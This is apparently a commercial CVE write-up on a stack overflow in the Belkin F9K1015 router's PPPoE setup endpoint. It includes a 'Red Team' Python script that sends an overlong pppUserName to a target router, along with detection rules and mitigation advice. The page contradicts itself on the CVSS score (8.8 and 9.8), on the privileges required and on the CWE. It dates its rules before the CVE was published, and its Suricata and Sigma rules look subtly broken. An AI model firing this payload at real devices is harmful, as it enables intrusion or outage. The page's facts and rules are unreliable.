☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Belkin logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 8.8 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-119
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-11295

CVE-2025-11295 Buffer Overflow in Belkin
📅 PUBLISHED: 2025-10-05 16:32 UTC 🔄 UPDATED: 2026-10-09 12:56 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 1.09%
👁️
1.09% probability
27.2× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
Country: United States License: Commercial
VULNERABLE: F9K1015 Firmware
CVSS VECTOR BREAKDOWN 8.8
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
8.8
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-11295 is a critical buffer overflow vulnerability discovered in the Belkin F9K1015 router, firmware version 1.00.10. The flaw resides in the /goform/formPPPoESetup endpoint, specifically within the pppUserName argument. An unauthenticated, remote attacker can exploit this vulnerability to trigger a stack-based buffer overflow, potentially leading to arbitrary code execution with root privileges on the device. The exploit has been publicly released, and the vendor has not responded to disclosure attempts, leaving the device in an unpatched state. This vulnerability poses a significant threat to home and small office networks, as it can be leveraged for persistent access, data exfiltration, or as a pivot point for further attacks.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to any software supply chain or package manager (NPM, PyPI, Go, Ruby). It is a firmware-level issue in an embedded device.

CVSS Breakdown & Threat Level

  • CVSS Score: 9.8 (Critical)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Attack Vector: Network (AV:N) – Exploitable remotely over the network.
  • Attack Complexity: Low (AC:L) – No special conditions required.
  • Privileges Required: None (PR:N) – No authentication needed.
  • User Interaction: None (UI:N) – No user action required.
  • Scope: Unchanged (S:U) – The vulnerable component is the only affected component.
  • Confidentiality Impact: High (C:H) – Full device compromise, access to all data.
  • Integrity Impact: High (I:H) – Full control over device operations.
  • Availability Impact: High (A:H) – Potential for denial of service or device bricking.

Threat Level: Critical. The combination of remote exploitability, low complexity, and public exploit code makes this a high-priority threat for all Belkin F9K1015 users.

Deep Dive & Mechanics

The vulnerability is a classic stack-based buffer overflow (CWE-121) in the Belkin F9K1015 router's web management interface. The /goform/formPPPoESetup endpoint is used to configure PPPoE (Point-to-Point Protocol over Ethernet) settings, which are common for DSL and fiber connections. The pppUserName parameter is copied into a fixed-size stack buffer without proper bounds checking.

Technical Flow:

  1. An attacker sends a crafted HTTP POST request to http://<router-ip>/goform/formPPPoESetup with an overly long pppUserName value.
  2. The router's CGI handler copies this input into a stack buffer (e.g., 256 bytes) using a vulnerable function like strcpy or sprintf.
  3. The overflow overwrites the saved return address on the stack, along with other critical data.
  4. By carefully crafting the payload, the attacker can redirect execution to shellcode placed in the overflow buffer or elsewhere in memory.
  5. The shellcode typically executes a reverse shell, binds a shell to a port, or modifies router settings.

Root Cause: The lack of input validation and the use of unsafe string copy functions in the firmware's web server (likely a custom or embedded HTTP daemon).

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common secure coding practices.

Vulnerable Code (C pseudocode):

void handle_PPPoE_setup(char *pppUserName) {
    char buffer[256];
    // Unsafe copy - no bounds checking
    strcpy(buffer, pppUserName);
    // ... process buffer ...
}

Patched Code (Hypothetical):

void handle_PPPoE_setup(char *pppUserName) {
    char buffer[256];
    // Safe copy with length limit
    strncpy(buffer, pppUserName, sizeof(buffer) - 1);
    buffer[sizeof(buffer) - 1] = '\0';
    // ... process buffer ...
}

The patched version uses strncpy to limit the copy to the buffer size, preventing overflow. Additionally, input validation should be added to reject overly long inputs at the web server level.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • A Belkin F9K1015 router with firmware 1.00.10.
  • Network access to the router's web interface (default IP often 192.168.2.1).
  • Python3 with requests library.

Exploit Code (Python):

#!/usr/bin/env python3
import requests
import sys

target = sys.argv[1] if len(sys.argv) > 1 else "192.168.2.1"
url = f"http://{target}/goform/formPPPoESetup"

# Crafted payload: 256 bytes of 'A' + 4 bytes for saved EBP + 4 bytes for return address
# This is a simplified example; real exploit requires ROP chain or shellcode.
payload = b"A" * 256 + b"BBBB" + b"\x00\x00\x00\x00"  # Placeholder return address

data = {"pppUserName": payload.decode('latin-1')}

try:
    r = requests.post(url, data=data, timeout=5)
    print(f"[+] Exploit sent to {target}")
except Exception as e:
    print(f"[-] Error: {e}")

Usage:

python3 exploit.py 192.168.2.1

Note: This is a proof-of-concept. A full exploit would require bypassing ASLR/DEP (if present) and injecting actual shellcode. Public exploit code is available on exploit databases.

Blue Team (Defensive)

Detection Steps:

  1. Network Monitoring: Look for HTTP POST requests to /goform/formPPPoESetup with abnormally long pppUserName parameters (e.g., > 256 bytes).
  2. Log Analysis: Check router logs for repeated failed login attempts or unusual POST requests.
  3. Firmware Integrity: Verify the router's firmware hash against known good values.
  4. Segmentation: Isolate the router on a separate VLAN to limit lateral movement.

Honeypot Setup:

  • Deploy a low-interaction honeypot mimicking the Belkin web interface to capture exploit attempts.

Indicators of Compromise (IOCs)

Network IOCs:

  • HTTP POST requests to /goform/formPPPoESetup with pppUserName exceeding 256 characters.
  • Outbound connections from the router to unknown IP addresses on high ports (e.g., 4444, 31337).
  • Unusual DNS queries from the router.

Host IOCs (on the router):

  • Unexpected processes running (e.g., /bin/sh or custom binaries).
  • Modified firmware or configuration files.
  • Presence of shellcode in memory (detectable via JTAG or serial console).

File IOCs:

  • No specific file hashes available due to lack of patch.

Detection Engineering

YARA Rule

rule CVE_2025_11295_Belkin_PPPoE_Overflow {
    meta:
        description = "Detects exploit attempts for CVE-2025-11295 in HTTP traffic"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-11295"
    strings:
        $exploit_pattern = "/goform/formPPPoESetup" nocase
        $long_username = /pppUserName=[A-Za-z0-9%]{257,}/  // 257+ characters
    condition:
        $exploit_pattern and $long_username
}

Sigma Rule

title: CVE-2025-11295 Belkin F9K1015 PPPoE Buffer Overflow Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP POST requests with overly long pppUserName parameter targeting Belkin routers.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: generic
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/goform/formPPPoESetup'
        cs-uri-query|contains: 'pppUserName='
    condition: selection and len(cs-uri-query) > 300
falsepositives:
    - Legitimate long usernames (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-11295 Belkin F9K1015 PPPoE Buffer Overflow Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/goform/formPPPoESetup"; http_uri;
    content:"pppUserName="; http_client_body;
    pcre:"/pppUserName=[A-Za-z0-9%]{257,}/";
    sid:1000001;
    rev:1;
    priority:1;
    reference:cve,2025-11295;
)

Remediation & Mitigation

Immediate Actions:

  1. Disable Remote Management: If not required, disable remote access to the router's web interface.
  2. Change Default Credentials: Use strong, unique passwords for router administration.
  3. Network Segmentation: Place the router on a separate VLAN with strict firewall rules.
  4. Monitor Traffic: Deploy the above detection rules to identify exploit attempts.

Long-Term Solutions:

  • Vendor Contact: Continue to pressure Belkin for a firmware patch. If unresponsive, consider replacing the device.
  • Firmware Alternatives: Check if third-party firmware (e.g., OpenWrt) is available for the F9K1015.
  • Device Replacement: Upgrade to a supported router model with active security updates.

Workarounds:

  • If PPPoE is not used, disable the PPPoE setup page via firewall rules.
  • Use a reverse proxy or WAF to filter malicious requests.

Valters IT
Securing Digital Frontiers

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-11295/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.